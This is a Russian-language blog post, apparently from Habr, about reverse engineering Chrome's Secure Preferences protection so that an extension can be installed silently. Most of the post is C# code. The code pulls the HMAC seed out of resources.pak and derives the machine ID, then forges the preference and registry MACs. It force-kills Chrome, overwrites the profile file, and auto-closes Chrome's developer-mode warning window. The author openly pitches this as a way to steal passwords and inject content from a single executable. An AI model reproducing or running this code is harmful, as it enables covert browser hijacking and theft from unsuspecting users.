Google Chrome
C#
Browsers
February 4

Реверс хрома и установка расширений



Доброго времени суток, дорогой читатель! Хром обновляется, но новых статей про то, как программно установить расширение в хром нет, помимо --load-extension — но это не наш вариант, ведь мы не ищем легких путей. Сегодня расскажу как действительно можно одним exe-шником получить всё: пароли, подменять контент, как можно совершить кражи и т.п. — но это не призыв к действию, а лишь статья для ознакомления. Весь сок под катом.

И так, что же позволяет нам делать расширение в режиме разработчика? Ну, как и обычное расширение оно может работать на всех сайтах, и, к примеру, тырить пароли, внедрять рекламу, и тп. Но расширение в режиме разработчика дает доступ еще к одной фиче, которая вроде не особо важна, но может стать полезной: у нас есть доступ к файловой системе. Да, мы собираемся запускать этот эксплоит из exe-файла и в принципе нам это не особо надо, а вдруг?

Анализируем файлы


И так, для начала можно посмотреть какие файлы будут отличатся после установки расширения, можем обнаружить, что это %appdata%\..\Local\Google\Chrome\User Data\<профиль>\Secure Preferences. Давайте скопируем содержимое, удалим расширение и восстановим копию — у тут бац! и расширение опять работатет. Глянув на ID можно увидеть, что меняются два значения с этим ключом: extensions.settings.id и protection.macs.extensions.settings.id — первый — настройки, второй — это какой-то хеш. Залезем в сорсы и увидим — это HMAC SHA256. Но от чего он его получает? Давайте залезем в отладчик, приаттачимся к хрому и подгрузим символы из
https://chromium-browser-symsrv.commondatastorage.googleapis.com

Насилуем хром


Воу! Находим файл pref_hash_calculator.cc, качаем, ставим брейк на

std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const

Оп — получаем seed_ — ключ для HMAC'а, и так же узнаем, что он конкатит три строчки и берет результат как HMACSHA256(device_id + path + value, seed_). Хорошо, давайте посмотрим на наш seed_ — и тут нас ждет первое огорчение: это просто строчка «ChromeRegistryHashStoreValidationSeed» — спросите, что же с ней не так? А давайте посмотрим на результат вычисления, сравним полученный хеш и хеш в файле по данному пути — разочаровываемся, но нет! Ключевое слово в ключе «Registry», лезем в реестр, смотрим — и действительно, это ключ для хешей в реестре, он нам понадобится.

Дебажим, дебажим, и везде только этот ключ, что не так? Теперь давайте глянем какой же длины должен быть стандартный ключ для HMACSHA256? 64 байта, и скорее всего, это не строчка, а какой-то набор байт. Перебирать? Не успеем! Первое предположение — наш seed_ захардкожен в каждой версии хрома — давайте попробуем перебрать все варианты 64х последовательных байт в бинарниках и файлах хрома. Пишем простенький скрипт и примерно за час получаем первый результат: наш seed_ лежит в resources.pak. Давайте прогуглим структуру.



Version 4, у нас же — 5. Что-то не так, может, структура не поменялась? Но, нет. После некоторых попыток получаем, что структура такова: 4 байта version(5), 4 байта — кодировка?(1), 2 байта — количество записей, 2 байта непонятно что. Далее идут записи в формате: 2 байта — ID, 4 байта — смещение относительно начала файла. Ищем секцию длиной 64 байта — и да, находим её, это и есть наш seed_. Теперь давайте напишем функцию для поиска seed_ в resources.pak для файла 4й и 5й версии:

public static byte[] GetSeed(string resources_pak)
{
	//Open stream
	using (FileStream fs = File.OpenRead(resources_pak))
	using (BinaryReader reader = new BinaryReader(fs))
	{
		// Read in all pairs.
		//4 bytes - Version (Assume, that is 5 or 4)
		int version = reader.ReadInt32();
		int second_dword = reader.ReadInt32();

		int count = 0;
		if (version == 0x05)
		{
			count = (reader.ReadUInt16()) + 1;
			reader.ReadUInt16();
		}
		else
		{
			count = second_dword;
			//Skip useless byte
			reader.ReadByte();
		}

		uint last_offset = (uint)(count) * 6 + (uint)fs.Position;
		for (int i = 0; i < count; i++)
		{
			//Word: ID
			uint id = (uint)reader.ReadInt16();
			//DWord: Offset from file start
			uint offset = (reader.ReadUInt32());
			//Assume, that seed_ is 64 bytes long
			if (offset - last_offset == 64)
			{
				//Save last position in file
				long last = fs.Position;
				//Go to section position
				fs.Seek(last_offset, SeekOrigin.Begin);
				//Allocate space
				uint want = offset - last_offset;
				byte[] u = new byte[want];
				for (int o = 0; o < want; o++)
					u[o] = reader.ReadByte();
				//Return carret back
				fs.Seek(last, SeekOrigin.Begin);
				return u;

			}
			last_offset = offset;
		}
	}
	return null;
}

Окей, давайте поменяем настройки, и попробуем подменить хеш — неудача. Первое, что можно найти в сорсах хрома — из значения удаляются все пустые объекты. Окей, сказано — сделано.

Опять неудача — нам надо генерировать так же такой же HMACSHA256 от protection.macs, путь в данном случае надо опустить. Супер! Получили. Но, мы совсем забыли про device_id — где же его взять? В старых версиях — это MachineID из некоторой сторонней библиотеки RLZ. В новых — просто SID ПК. Как его получить? Для второго варианта и новых версий хрома:

public static string GetSID()
{
	StringBuilder sb = new StringBuilder(260);
	int size = 260;

	GetComputerName(sb, ref size);
	byte[] Sid = null;
	uint cbSid = 0;
	string accountName = sb.ToString();
	StringBuilder referencedDomainName = new StringBuilder();
	uint cchReferencedDomainName = (uint)referencedDomainName.Capacity;
	SID_NAME_USE sidUse;
	int err = NO_ERROR;
	if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse))
	{
		err = Marshal.GetLastWin32Error();
		if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS)
		{
			Sid = new byte[cbSid];
			referencedDomainName.EnsureCapacity((int)cchReferencedDomainName);
			err = NO_ERROR;
			if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse))
				err = Marshal.GetLastWin32Error();
		}
	}
	else
	{
		// Consider throwing an exception since no result was found
	}
	if (err == 0)
	{
		if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid))
		{
			err = Marshal.GetLastWin32Error();
		}
		else
		{
			string sidString = Marshal.PtrToStringAuto(ptrSid);
			LocalFree(ptrSid);
			return sidString;
		}
	}
	return null;
}

И, для старого варианта:

public static string GetMachineId(string sid)
{
	string dir = Environment.SystemDirectory;
	dir = dir.Substring(0, dir.IndexOf("\\") + 1);

	StringBuilder volname = new StringBuilder(261);
	StringBuilder fsname = new StringBuilder(261);
	uint sernum, maxlen;
	FileSystemFeature flags;
	if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity))
		Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
	byte[] sid_str = (Hash(sid));
	byte[] bts = new byte[sid_str.Length + 4];

	for (int i = 0; i < sid_str.Length; i++)
		bts[i] = sid_str[i];
	for (int i = 0; i < sizeof(int); i++)
	{
		int shift_bits = 8 * (sizeof(int) - i - 1);
		bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF);
	}
	byte b = Crc8.Gen(bts);
	var sb = new StringBuilder(bts.Length + 1);

	foreach (byte bb in bts)
		sb.Append(bb.ToString("X2"));
	sb.Append(b.ToString("X2"));
	return sb.ToString();
}

И так, остается подшаманить над настройками и сохранить файл, но при этом закрыв хром:

 public static void Install()
{
	string path = Unzip();
	string id = "";
	string flags = "" + ((1 << 7) | (1 << 2));
	string loc = "4";
	id = "dblokgoogmhjemeebajnamjdmloolcjd";
	string setting = "тут ваши настройки";
	preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C"));
	preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))));
	string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings";
	string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)));
	Registry.SetValue(abc, id, reg_key);
	string macs = GetSecure("protection.macs");
	preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs));
	Process process = new Process();

	// Stop the process from opening a new window
	process.StartInfo.RedirectStandardOutput = true;
	process.StartInfo.UseShellExecute = false;
	process.StartInfo.CreateNoWindow = true;

	// Setup executable and parameters
	process.StartInfo.FileName = @"taskkill.exe";
	process.StartInfo.Arguments = "/im chrome.exe /f";

	// Go
	process.Start();
	process.WaitForExit();
	Thread.Sleep(150);
	File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences);
}

Так же, заметим, что теперь при открытии браузера открывается окошечко «Отключение расширений в режиме разработчика» — как его закрыть — уже выбор каждого. Можно как я оставить поток после себя, который будет закрывать это окошечко через WinAPI:

public static void CheckWindows()
{
  while (true)
  {
    Process[] pcs = Process.GetProcessesByName("chrome");
    if (pcs.Length > 0)
    {
      List<IntPtr> ww = GetChildWindows(IntPtr.Zero);

      foreach (var hwnd in ww)
      {
        try
        {
          uint pidd = 0;
          GetWindowThreadProcessId(hwnd, out pidd);
          IntPtr pid = (IntPtr)pidd;
          IntPtr hProcess = OpenProcess(0x0410, false, pidd);
          StringBuilder text = new StringBuilder(1000);
          GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity);
          CloseHandle(hProcess);
          if (!text.ToString().EndsWith("chrome.exe"))
            continue;
          const int nChars = 256;
          StringBuilder Buff = new StringBuilder(nChars);
          if (GetWindowText(hwnd, Buff, nChars) > 0)
          {
            string name = Buff.ToString();
            if (names.Contains(name))
              SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);

          }
          Thread.Sleep(1);
        }
        catch
        {
          
        }
        Thread.Sleep(1);
      }
    }
    else Thread.Sleep(10);

  }
}

Удачи и этичного хакинга! Кто знает как провернуть такое же с Яндекс Браузером — было бы очень интересно узнать, уже неделю пытаюсь расковырять, не получается.

+14
6.9k 61
Comments 13
Top of the day